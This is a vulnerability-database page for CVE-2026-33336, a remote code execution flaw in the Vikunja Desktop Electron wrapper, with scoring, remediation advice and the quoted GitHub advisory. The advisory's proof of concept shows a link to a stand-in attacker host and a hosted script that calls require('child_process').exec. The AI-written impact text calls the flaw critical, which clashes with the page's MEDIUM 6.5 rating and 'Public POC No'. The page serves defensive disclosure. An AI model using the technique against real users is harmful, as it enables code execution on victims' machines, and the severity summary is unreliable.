Skip to main content

Vikunja EUVDEUVD-2026-14911

| CVE-2026-33336 MEDIUM
Code Injection (CWE-94)
2026-03-24 GitHub_M
6.5
CVSS 4.0 · GitHub Advisory
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

This vulnerability presents exceptionally high real-world risk despite the absence of a CVSS vector score in the public record. Attack vector is network-based with low complexity (a simple HTML link requires no user interaction beyond a single click within normal application usage), and no authentication bypass is required—the attacker need only be a legitimate user on the same Vikunja instance. The impact is critical: arbitrary code execution as the victim's OS user enables full system compromise, credential theft, and lateral movement. Exploitation is highly automatable, and proof-of-concept code has been published via GitHub Security Lab Taskflows. The presence of an official patch (version 2.2.0) and GitHub Security Advisory (GHSA-83w9-9jf6-88vf) confirms vendor acknowledgment of severity. While no KEV or EPSS score is presently available in public databases, the technical profile (RCE via trivial user interaction with stable POC in a popular open-source application) indicates this warrants immediate patching and ranks among the highest-priority Desktop application vulnerabilities. Organizations running Vikunja Desktop on any version prior to 2.2.0 face imminent compromise risk from both internal malicious actors and external attackers with valid user accounts.

Exploit ScenarioDerived

An attacker with legitimate access to a shared Vikunja project edits the project description to include a link such as <a href="https://attacker-controlled-domain/payload.html">Q4 Planning Document</a>. The payload HTML contains JavaScript that invokes require('child_process').exec() to run arbitrary OS commands. When a victim using Vikunja Desktop clicks the link expecting to view a document, the BrowserWindow navigates to the attacker's domain with nodeIntegration enabled, and the JavaScript executes with full OS user privileges, allowing the attacker to install malware, steal credentials, or pivot to other systems. A complete proof-of-concept demonstrating command execution (e.g., spawning calc.exe on Windows) has been published and requires only one click to trigger.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 24, 2026

Vikunja Desktop (Electron wrapper) versions 0.21.0 through 2.1.x contain a critical remote code execution vulnerability caused by enabled Node.js integration combined with missing navigation controls. An attacker who is a legitimate user on a shared Vikunja instance can inject a malicious hyperlink into user-generated content (task descriptions, comments, project descriptions) that, when clicked by a victim using Vikunja Desktop, causes arbitrary code execution with the victim's OS user privileges. A proof-of-concept demonstrating command execution via a simple HTML link has been documented, and the vulnerability affects all Desktop users on affected versions.

RemediationAI

Immediately upgrade Vikunja Desktop to version 2.2.0 or later, which disables nodeIntegration and implements will-navigate event handlers to restrict same-window navigations. Users unable to upgrade immediately should avoid clicking links within task descriptions, comments, and project descriptions from untrusted sources, and should disable Desktop application use in favor of the web interface until patching is complete. Organization administrators should enforce automatic updates for Vikunja Desktop via endpoint management tools and audit user accounts for suspicious activity, as the vulnerability allows any authenticated user to trigger code execution. For long-term hardening, review Electron application security best practices in the official Electron documentation (https://www.electronjs.org/docs/tutorial/security) and consider network segmentation to limit the impact of a compromised endpoint.

Affected VersionsENISA

vikunja 0.21.0, < 2.2.0

Affected Packages

euvd vikunja_0_21_0 fix: 2.2.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Vikunja is an open-source task management platform distributed via cpe:2.3:a:go-vikunja:vikunja with both server and Electron-based Desktop components. The vulnerability stems from two misconfigurations in the Electron main process (desktop/main.js): enablement of nodeIntegration: true in BrowserWindow web preferences grants full Node.js API access (require, child_process, fs) to any JavaScript executing in the renderer, and absence of a will-navigate or will-redirect event handler allows same-window navigations to attacker-controlled origins. The existing setWindowOpenHandler only intercepts window.open() calls (new-window requests), not standard anchor tag navigation, HTTP redirects, or meta refresh directives. This combination violates the principle of least privilege and represents a CWE-94 (Improper Control of Generation of Code) vulnerability where untrusted input (user-controlled links) can trigger execution of Node.js code in a privileged context.

Know when Vikunja gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 6.5 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

2
Patch available
Apr 16, 2026 - 05:29 EUVD
2.2.0
CVE Published
Mar 24, 2026 - 15:16 nvd
MEDIUM 6.5

DescriptionGitHub Advisory

Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables nodeIntegration in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.

Root cause

Two misconfigurations combine to create this vulnerability:

  1. nodeIntegration: true is set in BrowserWindow web preferences (desktop/main.js:14-16), giving any page loaded in the renderer full access to Node.js APIs (require, child_process, fs, etc.).
  2. No will-navigate or will-redirect handler is registered on the webContents. The existing setWindowOpenHandler (desktop/main.js:19-23) only intercepts window.open() calls (new-window requests). It does not intercept same-window navigations triggered by:
  • <a href="https://..."> links (without target="_blank")
  • window.location assignments
  • HTTP redirects
  • <meta http-equiv="refresh"> tags

Attack scenario

  1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).
  2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: <a href="https://evil.example/exploit">Click here for the updated design spec</a>
  3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: frontend/src/views/project/ProjectInfo.vue uses v-html with DOMPurify-sanitized output.
  4. The victim uses Vikunja Desktop and clicks the link.
  5. Because no will-navigate handler exists, the BrowserWindow navigates to https://evil.example/exploit in the same renderer process.
  6. The attacker's page now executes in a context with nodeIntegration: true and runs: require('child_process').exec('id > /tmp/pwned');
  7. Arbitrary commands execute as the victim's OS user.

Impact

Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.

Proof of concept

  1. Set up a Vikunja instance with two users sharing a project.
  2. As the attacker user, edit a project description to include: <a href="https://attacker.example/poc.html">Meeting notes</a>
  3. Host poc.html with: <script>require('child_process').exec('calc.exe')</script>
  4. As the victim, open the project in Vikunja Desktop and click the link.
  5. calc.exe (or any other command) executes on the victim's machine.

Credits

This vulnerability was found using GitHub Security Lab Taskflows.

Executive ViewAI

Why It Matters

Organizations using version 0.21.0 and should be aware of notable risk from CVE-2026-33336, a code injection vulnerability rated CVSS 6.5. Exploitation could allow attackers to execute code or inject malicious input. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Moderate
Compensating Controls

Apply vendor patch. If patching is delayed: deploy WAF rules, restrict network access, enable logging.

Threat Intelligence Overview

EPSS Score
0.4%
Top 41% exploitable
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Technical Impact
Total

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2026-68582 CRITICAL POC
9.3 Aug 02

Cross-tenant information disclosure in the self-hosted task manager Vikunja (0.24.0 through 2.3.0) lets a holder of any

CVE-2026-27575 CRITICAL POC
9.1 Feb 25

Weak password policy in Vikunja task management before 2.0.0 allows users to set trivially guessable passwords. PoC avai

CVE-2026-68581 HIGH POC
8.6 Aug 02

Principal type confusion in Vikunja (versions 0.22.0-2.3.0) allows an authenticated low-privilege attacker to fully cont

CVE-2026-27616 HIGH POC
7.3 Feb 25

Stored cross-site scripting (XSS) in Vikunja prior to version 2.0.0 allows authenticated attackers to steal authenticati

CVE-2026-27819 HIGH POC
7.2 Feb 25

Vikunja before version 2.0.0 contains a path traversal vulnerability in its backup restoration function that fails to va

CVE-2026-27116 MEDIUM POC
6.1 Feb 25

Vikunja is an open-source self-hosted task management platform. [CVSS 6.1 MEDIUM]

CVE-2026-28268 CRITICAL
9.8 Feb 27

Business logic vulnerability in Vikunja task management platform before 2.1.0 allows incomplete resource cleanup, potent

CVE-2026-56765 CRITICAL
9.3 Jul 10

Instance-wide data breach in Vikunja before 2.2.1 lets remote attackers exfiltrate and destroy every file attachment acr

CVE-2026-34727 CRITICAL
9.1 Apr 10

Vikunja's OIDC callback handler issues a full JWT to any successfully matched user without checking whether that account

CVE-2026-91973 HIGH POC
8.7 Sep 15

Vikunja instances before 2.6.0 expose CalDAV BasicAuth endpoints (/dav, /.well-known, and /feeds) that are not covered b

CVE-2026-91972 HIGH POC
8.7 Sep 15

Vikunja versions before 2.6.0 ship authentication endpoints under /api/v2 (login, register, password-reset, and OAuth to

CVE-2026-91985 HIGH POC
8.7 Sep 15

Vikunja prior to 2.6.0 leaks the secret hash that backs a project's link shares through its single-share read endpoint,

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy